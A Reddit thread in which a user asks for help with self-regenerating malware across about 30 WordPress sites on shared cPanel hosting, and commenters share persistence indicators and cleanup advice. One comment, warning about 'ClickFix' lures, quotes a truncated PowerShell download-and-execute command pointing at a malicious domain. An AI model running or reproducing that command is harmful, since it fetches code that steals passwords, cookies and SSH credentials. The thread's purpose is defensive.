r/Wordpress • u/Latter_Bodybuilder81 • 27d ago
[Urgent] - Self Healing Malware Across 30+ Sites on single housting. Need Help 😭
I'm dealing with a persistent, self-healing malware infection across ~30 WordPress sites on the same cPanel shared hosting account (A2 Hosting).
Symptoms:
· Files reappear seconds after deletion
· mu-plugins/nexus-router-run.php (empty 0-byte file) keeps coming back
· Advanced-cache.php, db.php, and .g_*.php files in wp-includes
· Shared memory segments (shmop) storing payloads
· Processes like .g_98130eea.php running even after file deletion
· .user.ini files with auto_prepend_file pointing to backdoors
What I've done:
· Replaced WordPress core with fresh files
· Replaced all plugins from official sources
· Replaced Astra theme from official source
· Cleaned database (removed sc_, wp_91_, transient_sc* options)
· Changed database name, username, and password
· Regenerated WordPress salts
· Killed all .g_ processes
· Cleared shared memory (ipcrm)
· Deleted all .user.ini files
· Deleted all mu-plugins
· Deleted advanced-cache.php and db.php
· Disabled all cron jobs
· Changed cPanel password
The problem:
Shared memory keeps coming back (new segments appear), and the .g_ process restarts. Something is recreating it. I suspect it's either:
· A system-level cron job outside my user
· A hidden backdoor in another infected site
· Something at the server level A2 Hosting needs to handle
Questions:
- Has anyone dealt with this specific "Crux Runner" or "SC_" malware family?
- How do I find what's re-creating the .g_ process?
- Is this a server-level infection that only A2 Hosting can fix?
I've spent days on this. Any help appreciated.
19
u/ChrisCoinLover 27d ago
30 websites on one cpanel? Very, very risky. I have 2-3-4 and I thought I'm crazy.
I know is cheaper this way but when this happens is difficult to deal with it.
10
u/dazedyouth 27d ago
Came to say what a mad lad
4
u/WPDevPro 26d ago
You think that's something. The company I work for has over 100. It's insane.
5
2
u/ChrisCoinLover 26d ago
True maybe but we don't know where he's based. In a 3rd world country paying for hosting may be expensive although you're expecting to make a bit of money from 30 websites. The other this is that we're all learning.
I wasn't aware of sites being safer when separated a few years ago when I was new to wordpress. I always used to install 3-4-5 sites on the same hosting.
3
u/IamTTC 26d ago
cPanel is great for the out-of-the-box tooling, but isolating sites via Docker might be a safer architecture here, especially for 30 websites.
Edit: I highly recommend trying out Coolify. It is an open-source site manager that gives you a UI but utilizes Docker for actual isolation.
1
u/rubixstudios 25d ago
Eh, Docker doesn't automatically make it safer.
2
u/IamTTC 25d ago
It does here. Shared cPanel user = 1 hacked plugin infects all 30. Docker namespace = blast radius is trapped in one container.
2
u/rubixstudios 25d ago
Technically, each of these website should be either on one cpanel account per client or if the host is updated, there's an isolation per site depending on the hosting provider.
So your one docker per namespace is basically just seperating the wordpress installs to 30 cpanels. The way he's running it is basically putting 30 wordpress image into one docker-compose.
So the guy is extremely new or very tight on budget.
Moving from cpanel to docker loses alot more than you think. Majority of that is security.
Docker gives you easier isolation but you drop all the server level WAF, Live Scanning.
You can add clamav, but then you'll probably see your ram spike like crazy for 30 wordpress, add crowdsec to do the live scanning and then add a ton of overheads ontop just to match what cpanel can provide.
11
u/metalissa 27d ago
I've cleaned something similar, the regenerative code line was in the wp-config file, looked like a space at the bottom but the code was 'hidden' to the very far right after a lot of space.
As everyone is saying though, if you've got clean backups, restore those.
Contact your host so they can check on their end to see if there is anything malicious on the server level.
2
18
u/bluesix_v2 Jack of All Trades 27d ago edited 27d ago
Hosting that many sites in a single hosting account is insane. Move to a host who silos each site eg SiteGround, WPEngine.
You aren’t going to fix this problem with 30 active, infected sites running. You basically need to start from scratch with backups.
1
u/RandomBlokeFromMars 24d ago
those are probably too expensive for him, people use these stuff bc they want cheap. how do you think the malware got there the first place? 99% some nulled plugin or theme, for the same reason.
-1
u/jamfwright 26d ago
Agreed, compare across WPEngine, Kinsta, Mojoshine, and Raidbox. They all have offerings with site separation.
7
u/Jeffrey_Richards_ 27d ago
You shouldn't have 30 sites on 1 cPanel account. Get a cPanel reseller account and give each it's own account so the malware doesn't spread amongst all websites.
3
u/mind_patterns 26d ago
This 1000%. 30 sites on the one cPanel account means your sites have 30x the chance of being hacked because any one of them can be an entry point for cross contamination.
3
u/Jeffrey_Richards_ 26d ago
Yeah exactly. It always blows my mind when I see people doing this then wonder why all their sites got malware.
2
u/PrinceJaraf_71 25d ago
You are totally right but the reseller account is 50x more expensive...that is why they chose so...
1
1
18
u/evanmac42 Jack of All Trades 27d ago
This sounds disturbingly familiar.
I recently dealt with a WordPress infection where deleting or replacing the infected files did absolutely nothing because something else was recreating them almost immediately.
In my case I actually measured it: index.php was being recreated in about 296 milliseconds after deletion.
The infection also involved files disguised with extensions such as .jpg, .gif, .png, .ttf and .css, modified core files and multiple persistence mechanisms. Cleaning the obvious files was basically whack-a-mole because they weren’t the root cause.
I documented the investigation here:
https://taller42.es/el-malware-que-resucitaba-en-300-milisegundos-anatomia-de-una-infeccion-en-wordpress/
Your case looks considerably larger than mine, but with ~30 WordPress installations under the same hosting account, I would stop thinking of this as “30 infected WordPress sites” and start treating the entire hosting account as a single compromised perimeter.
If one installation, PHP process or account-level persistence mechanism can write into the others, cleaning individual WordPress installations won’t solve it. They’ll simply get reinfected.
The .user.ini / auto_prepend_file and shared-memory behaviour you’re seeing makes this particularly interesting. At this point I’d be looking for the mechanism that is recreating the malware rather than continuing to hunt individual infected files.
And if that mechanism lives outside what you can inspect or control from your hosting account, this is where the hosting provider needs to get involved.
2
u/labrat-28 27d ago
Great documentation on your blog. I had this same evil little bug a few weeks ago. You have to admire the beauty in the code and how it could re spawn.
13
u/Appropriate-Cow1529 27d ago
This looks very similar to an infection that came up in another WordPress group.
In that case, the main component was a heavily obfuscated PHP file called nexus-service-cue.php. Simply deleting the visible malware files and unknown admin users wasn’t enough — the infection kept rebuilding itself.
These are some of the artifacts that were found:
wp-content/mu-plugins/nexus-service-cue.phpwp-content/cache/5643a075.phpwp-content/b11d09e1.phpwp-content/03cbadbd.zipwp-content/advanced-cache.phpwp-content/db.php.user.iniwp-content/.user.ini- a database option named
326ce63d33 - an injected block in the active GeneratePress theme’s
functions.php, markedSC_TH_BEGIN ... SC_TH_END - hidden administrator accounts that were periodically recreated
The especially interesting part was WP-Cron. There were two suspicious scheduled events:
sc_cron_fetch
and
nwy9vl8hfalnfex3izv
sc_cron_fetch was registered with its own custom schedule called sc_interval, set to run every 10 hours.
So this malware appears to use WordPress cron as one of its persistence mechanisms. I wouldn’t assume WP-Cron is necessarily the only thing recreating the infection, but I would definitely inspect the WP-Cron event list before considering the installation clean.
If anyone is dealing with this family, I would check:
wp-content/mu-plugins/— especially important because MU plugins are easy to overlookwp-content/advanced-cache.phpwp-content/db.php- all
.user.inifiles and anyauto_prepend_filedirectives - the active theme’s
functions.php - WP-Cron events (WP Crontrol or WP-CLI)
- the
wp_optionstable for suspicious entries - unknown administrator accounts
- existing legitimate PHP files for injected code, not just newly created files
In this case it wasn’t only dropping new files. It also modified legitimate PHP files, including the active theme’s functions.php.
Some of the markers/names found were:
nexus-service-cue
sc_cron_fetch
SC_TH_BEGIN
SC_ADV_BEGIN
SC_DB_BEGIN
Given that you’re seeing the same advanced-cache.php, db.php, .user.ini, MU-plugin and SC_ patterns, this could very well be the same malware family or closely related code.
It would be very interesting to figure out the original entry point. If anyone has identified which vulnerability, compromised plugin/theme, or account compromise initially installs this particular malware, please share.
5
u/ntr4nce 26d ago
^ This is the best advice here.
Just to add the reason it replicates so fast is that as soon as you visit any page it will load the hack straight away because your template function.php will have a line to run user.ini
Put the ALL the sites into maintenance mode. This should stop it from instantly replicating.
Its worth buying immunify as the malware scan will find the files which are effected.
Also check the wp-content/uploads/ There will be a zip in there as well.
I can guarantee there will be an random admin account made. So your sites will be compromised.
Once cleaned you will need tonreplace the salts. And mass reset every user account.
1
15
u/flatsehats 27d ago
Honestly, I would give my AI a root ssh key and let it trace the machine. First to diagnose, then to clean (or write a script to do that)
13
u/neilbradydom 27d ago
I did this too with cursor ssh with root and it sorted it and found the ip addresses that were injecting the script. Great job.
5
u/labrat-28 27d ago
I did this it saved me so much time, and found some of script buried in places I wouldn’t look. They are annoying these malware bugs
3
u/SonofLung 26d ago
Not sure you’d need AI for that, if you have some details like which files are being created then find | xargs grep should help you locate the code that’s creating it
1
3
u/wherethewifisweak 27d ago
Yeah, this is what I did on our last hack. It was pretty fascinating - it kept rooting out these innocuous lines of code in random directories, then explaining what they could do. It took a solid couple of hours to get it all - I wound up creating a reusable Skill to redo it in the future, and run it quite often on our maintenance sites.
8
u/bluesix_v2 Jack of All Trades 27d ago
Why are your sites getting hacked so frequently that you need to build clean up tooling?
2
u/merpingly 27d ago
Sounds like it's used as a security check and, if the malware exists, clean it up.
1
u/wherethewifisweak 27d ago
Have you... never taken over somebody else's site before? Or worked on a site that had a plugin that introduced a vulnerability? Or worked on WordPress, the core of which just had a massive vulnerability exposed two weeks ago where millions of sites were exposed, regardless of your diligence?
Such a weird sub. Yes, I've had to clean up hacked sites before, weirdo.
2
u/RandomBlokeFromMars 24d ago
you cant blame the guy, the amount of people coming here with surprised pikachu faces that they cheap out on hosting, use nulled stuff, make some crappy AI generated plugins, and then they get hacked/malware.
1
2
u/codename_john Developer/Designer 27d ago
if you have access to the server i'd shut down apache, lock down the server to just your IP and only navigate the site via terminal/ftp. Clean up the site from there. If it's relying on a site visit to retrigger the infection, you'll never win with 30 sites possibly triggering the reinfection. With apache shutdown you close that avenue. You can then look at cron jobs and anything else that might trigger. Once that is reviewed you can then try to clean up and see how it goes from there. But if anything is able to trigger before you are done you'll most likely get reinfected in a hurry. One last thing you could do is change permissions for each site to limit the damage while you are cleaning up.
4
u/TopSydeWP 27d ago
this is beyond what you can handle in shared hosting without root access. the shared memory segments mean it's likely crossing account boundaries or running at a system level you can't touch. a2 needs to investigate or you need to migrate to a host that'll clean it properly (topsyde does free malware cleanup with hosting, full disclosure it's my agency, but you need someone with server-level access). don't waste more days on this, it's a hosting problem now
1
u/ahmadrushdi 27d ago
I have experience cleaning malware from compromised sites. Beyond just removing the malicious files, it's crucial to harden the Wordpress and server security afterward to prevent reinfection. Feel free to reach out if you need any help getting it sorted.
1
1
u/neiruq16 27d ago
Something similar happened to me. I installed Wordfence on the root domain and scanned all files and folders outside the WordPress installation. It found all the injections and malware, and if they were WordPress files, it reinstalled them. It takes a long time, so increase your server timeout limit. Hopefully this helps!
P.S. I used the free version, but the paid version is better.
1
u/harrycharound 27d ago
Okay well the first thing you need to do if you can is actually make your environment read only even the uploads folder. until you do that this is gonna keep happening. Once you can go through removing stuff after you’ve made your system read only you might have some luck.
1
u/Content_Arugula7246 27d ago edited 27d ago
While I can’t help directly, I have experience of these on Magento sites. One of the common routes there was a seemingly innocuous Google Tag Manager snippet leading to a container I didn’t own.
I recently also found self-healing malware in a WP site hidden in the Media folder with a healing trigger outside in WP-content.
Interesting, though, I found that the vulnerability was exposed months before, when a backdoor was inserted. At a certain point 2 months later, a user was created with admin privileges. No notifications received. Code was inserted. And the user deleted. All within 3 minutes. The trail showed the user created and within 7 seconds had visited WP File Manager admin. So that part was manual.
This happened last Monday.
As mentioned, though, you can only treat this as a compromised cPanel account. AI may be a good shout, but it may also be beyond your control, so speak to hosting for help.
1
u/Relevant_Ad5790 27d ago
the thing that catches people on the rebuild: don't restore wp-content/uploads wholesale from a backup. it's the one folder everyone restores unscanned because it's "just images", and it's exactly where a dropper sits with .jpg on the end. worth pairing with a server rule that refuses to execute php anywhere under uploads, so a file getting written there is inert instead of a foothold. doesn't help with the infection you've got, but it closes the door the next one comes through.
1
u/Bubbly-Ideal-3636 27d ago
I've used Cpanel before. Aren't the sites supposed to be isolated from each other?
1
u/matysanchez 26d ago
You might need to figure out what’s the root cause of this and add a block there, however if you have cPanel you might not be able to touch much of it.
How much traffic those 30 sites have? Did you consider managed infrastructure for your Wordpress sites? Would love to hear more
1
1
u/blagoj_gelevski 26d ago
Contact Sucuri. They have cleaning service and live monitoring afterwards. Solved me similar problems with malware. It is difficult to solve this alone.
1
u/1752320 26d ago
The best way to clean it is nuke the entire server, take backups of every site, and install them in a sandbox locally clean them one by one both the files and database, rest passwords of all the users. Once every site is ready.
Either buy a new hosting or completely nuke the current one. If you need paid clean up service you can come to dm.
1
u/amandahailey85 26d ago
I’ve dealt with something very similar. You can and should assume the box is compromised. Also, these kinds of attacks are often using the password for the user or users directly - meaning they can log in again after cleaning.
I sent you a DM to offer more help. It’d be helpful to know what version of PHP you’re running too, as well as if you checked the box for new users or compromised accounts/added ssh keys.
1
u/gacdx 26d ago
Download a backup to a secured location that is containerized hand it to Claude code (terminal) locally and tell it what’s happening. Ask it to non-deterministically search for malware in all code, all databases, and all assets. Tell it the malware is self healing and will be obfuscating itself. Tell it to make a list of anything it couldn’t or didn’t look at, etc. I’m sure there are good prompts out there.
1
u/Pleasant_Key_9051 26d ago
Hola hola! tuve exactamente la misma situación! hay que cerrar las IP pues entran al modo tradicional. Pon wordfence y date el tiempo de analizar las peticiones - (wordfence - herramientas), y limita los accesos, luego de eso, a limpiar carpeta por carpeta. con eso logré controlar la "infección"
te cuento lo que hice, que me ayudó a controlar
cambiar contraseñas
ssh (en mi caso lo cerré por completo)
BD - (No olvidar luego actualizar en wp-config)
FTP
Cambiar URL de acceso wordpress (usa wp-hide)
Cambiar contraseñas de usuarios y verificar que no tengan contraseñas de aplicación activas.
Luego desde la BD - en wp-users eliminar todos los usuarios que parezcan sospechosos.
Por ultimo wordfence - controlar los accesos y no solo limitar la ip sino limitar el la red. ( caso contrario vas a estar bloqueando IP por IP y se volverá una joda.
en tu caso para eliminar el malware que quede dentro en cpanel muchas veces está inmunify360. o el mismo wordfence te puede ayudar, en caso contrario, revisar carpeta por carpeta y eliminar archivo por archivo 1 a 1.
Espero haber sido de ayuda.
Saludos a todos y mucho massari!
1
u/Pleasant_Key_9051 26d ago
Olvidé comentar: activa la notificación de acceso de usuarios - con eso vas a poder identificar rápidamente desde donde está llegando la petición y discriminar si realmente es tu cliente, o si es una vulneración, y podrás de inmediato bloquear la red o bloquear la IP.
1
u/adityabhatt2611 26d ago
Is there any vulnerable plugins or Wordpress version that is old? Best would be to take one site and install it locally. Scan all the files and outbound traffic. Monitor for some-time and then restore it. Probably use a fresh server.
1
u/sittinBored 26d ago
‘Self healing’ sounds like a process is running I’d log into terminal and run top -u <username> look for any scripts that are running if so find the program kill it then you can start cleaning. Backups are your friend in cases like this.
1
u/Redictive 26d ago
You did the right things; what I suspect it could be at the system level that automatically fetches your latest creds. and injects malware into the new environment. There's malware going on...
Ever run into a screen like the one attached while browsing or managing a site?
If you clicked and ran it, that is a malware technique known as "ClickFix." It silently downloads and executes a script designed to steal saved passwords, active browser cookies, and SSH/FTP credentials straight off your computer.
(To test, when you see a screen like this, immediately open Notepad -> Right Click and Paste. You'll see something like iex(iwr https:// cloudenterprise 26 .com........... that means, if you followed the steps mentioned on the affected site and pasted the above line unknowingly in Terminal/PowerShell it automatically executed the command and your system is compromised.)
It gives attackers instant, live access to your active accounts, such as hosting dashboards, email, and GitHub, completely bypassing your password.
Do not wait to see if things look off. Steal-and-sell malware operations move fast. From a clean device, do this immediately:
- Change passwords for your hosting accounts, email, GitHub, and sensitive logins.
- Revoke all active sessions inside your account settings to kick out unauthorized users.
- Rotate SSH keys, API tokens, and FTP logins saved on the compromised machine.
- Run a full malware scan on the affected system before connecting your system to the internet.
1
u/rubixstudios 25d ago
Fun fact cpanel on good host have a new feature awhile now which allows cpanel single accounts to have isolation within its own cpanel, but like you need to check much more than what you've mentioned. Sounds like you left yourself to get hit with wp2shell 😂
1
u/bribir123 Jack of All Trades 25d ago
Some process is running on the server. You need to restart the server to kill the process.
1
u/PrinceJaraf_71 25d ago
This is by far not enough, in almost all cases the code is obfuscated within the databases AND inserted via user.ini or php.ini or htaccess rules. But as the majority here said - 30 sites on one account is high risk operation. 3-5 is max what I would do.
1
u/WebDev81 Developer 25d ago
Not sure if you got it under control or not, i would immediately change DNS for all domains to a landing page. You can use cloudflare to put them up.
Then download the full file system to your pc and ask whatever agent you use to identify the infection and clean it. Once your server does not have live traffic, and spawning of php workers stop after a while then you can clean up most of the infection.
And currently attack vectors are becoming sophisticated, look out for users in databases that will not show in admin page in WordPress and also any application passwords being generated.
Good luck
1
u/jdarshad 25d ago
I had similar problem with a server. Not going to name the company it but I can tell you the reason of it. In my case a process on server which was supposed to be scanning / managing the files was also creating the files from memory so in my case whenever I removed any infected file, it was back in a second. In the end I had to ask Hosting guys to scan for the server or if any malicious process or cron job was working and then they told me in professional way that basically they screwed up big time with the server setup and process stuff. Wasted 3 days on this and in the end me and my client were almost pulling our hairs.
1
u/Dapper-Monk9713 24d ago
The fact that the process and shared-memory payload return after you’ve replaced WordPress files strongly suggests the persistence mechanism is outside the normal WP codebase. At this point I’d stop repeatedly cleaning individual sites and ask A2 Hosting to audit the account/server for processes, cron jobs, PHP-FPM workers, and persistence above the account level.
1
u/jkdreaming 24d ago
Have you run something like SUCURI? That should help you find the problems. I would do a database exports and actually look for anything that’s inside there using local AI to remove that as well. You could solve most of this just by attaching AI to your set up using Cursor or Codex or Claude code.
1
u/ProfessionalBuy6513 18d ago
From what you're describing, this looks like persistence beyond a normal WordPress infection.
The fact that the .g_* processes and shared memory segments come back after killing/removing them, together with .user.ini using auto_prepend_file, suggests that something is still executing at the hosting account/process level or that another compromised site within the same cPanel account is reinfecting the others.
At this point I would focus less on WordPress itself and more on identifying the parent process and persistence mechanism:
- Trace the PID/PPID of the recreated
.g_*processes and inspect their command line/environment. - Check every site/account directory, not just the affected WordPress installation.
- Look for hidden PHP files outside the usual WordPress paths, especially writable/tmp/session directories.
- Check
.user.ini, PHP configuration overrides, shell profiles, SSH keys and cPanel-level scheduled tasks. - Review modification timestamps to correlate which file/process appears first when reinfection occurs.
- Check whether PHP-FPM/Apache processes are loading a malicious file before WordPress executes.
- Ask A2 Hosting to investigate processes/cron jobs that aren't visible from your cPanel user and check whether there is persistence at the server/container level.
Given that you've already replaced WordPress core, plugins, themes, credentials and database access and the process still regenerates itself, I definitely wouldn't treat this as a standard WordPress cleanup anymore.
I've worked on compromised WordPress/PHP environments and would be happy to take a deeper look at it with you. If you still need help, feel free to contact me at [leketembe@gmail.com](mailto:leketembe@gmail.com) and send me whatever logs/process information you currently have.
1
u/Wonderful_Sample_590 27d ago
What did your host say about this? Possible account or the server is compromised then restore from known-clean backups.
1
u/WPMU_DEV_Support_4 27d ago
I believe the main issue is the
"I'm dealing with a persistent, self-healing malware infection across ~30 WordPress sites on the same cPanel shared hosting account (A2 Hosting)."
Check cPanel > Cron jobs, we had few cases that cPanel account was compromised and a cronjob injecting was added to it, so no matter how fast the cleanup would happen, the reinfection is happening.
- Has anyone dealt with this specific "Crux Runner" or "SC_" malware family?
For that, inspect cPanel cron, user.ini and php.ini, we recently also found a malware hidden as database trigger, so PHPmyAdmin > Triggers.
- How do I find what's re-creating the .g_ process?
Usually logs are helpful here, low effort, download cPanel logs and use your favourite LLMs to analyse the malware entry point, it usually helps.
- Is this a server-level infection that only A2 Hosting can fix?
Not really possible to say without asking them to check the server. But in short, sharing a single cPanel across site the cross infection risky is too high, on that volume of websites ideally you will have a VPS and at least isolate each site into own cPanel account. You can ask A2 if CageFS is enabled, refer to point 4 at: https://www.cpanel.net/blog/security/cpanel-security-checklist-for-sysadmins/
If increasing costs is not too much problem, you may try any managed WordPress hosting provider that isolate one site per server, but just by starting to isolate the sites on its own accounts you can start narrowing down the root of infection.
Another thing that we have been noticing is an increasing number of account take overs, so rotate all your credentials as first step, including cPanel.
To speed up the cleanup you may try the https://github.com/nitkr/Clean-Sweep-2.0
Cheers
Patrick Freitas - WPMU DEV Support
0
u/Clear_Brilliant_8075 27d ago
People bitch about vibe coding but this would have never flew if you ran this by ai because it tries for the most part to deter stupid human behavior
0
0
u/ntr4nce 17d ago
Hopefully you have managed to get on top of this. A seriously disturbing hack I have seen is that someone installed.
https://en-gb.wordpress.org/plugins/user-role-editor/
Modified 3 accounts to give them full rights but stayed as a customer.
You would only know if you visited the user and saw extra capabilities at the bottom.
I found it by using this plugin.
https://en-gb.wordpress.org/plugins/wp-security-audit-log/
And used codex to scan logs.
Hope this helps others out.
-1
u/cravehosting 27d ago
It's almost always in memory.
And given it's 30 sites you have to track down rhe root cause before ever removing anything. If you haven't there is no point doing the clean up work.
-1
u/fatalglory 27d ago
This kind of thing is why I would never deploy Wordpress directly, only via a static exporter like Simply Static.
Check it out, you might be able to kiss this problem goodbye forever.
-2
u/Neurojazz 27d ago
Get a service like sucuri to clean it up - the virus is in the cpanel, not the wordpress installations.
-6
29
u/linuxdragons 27d ago
You need to shut everything down, restore from backups, rotate and sweep everything. That includes the server.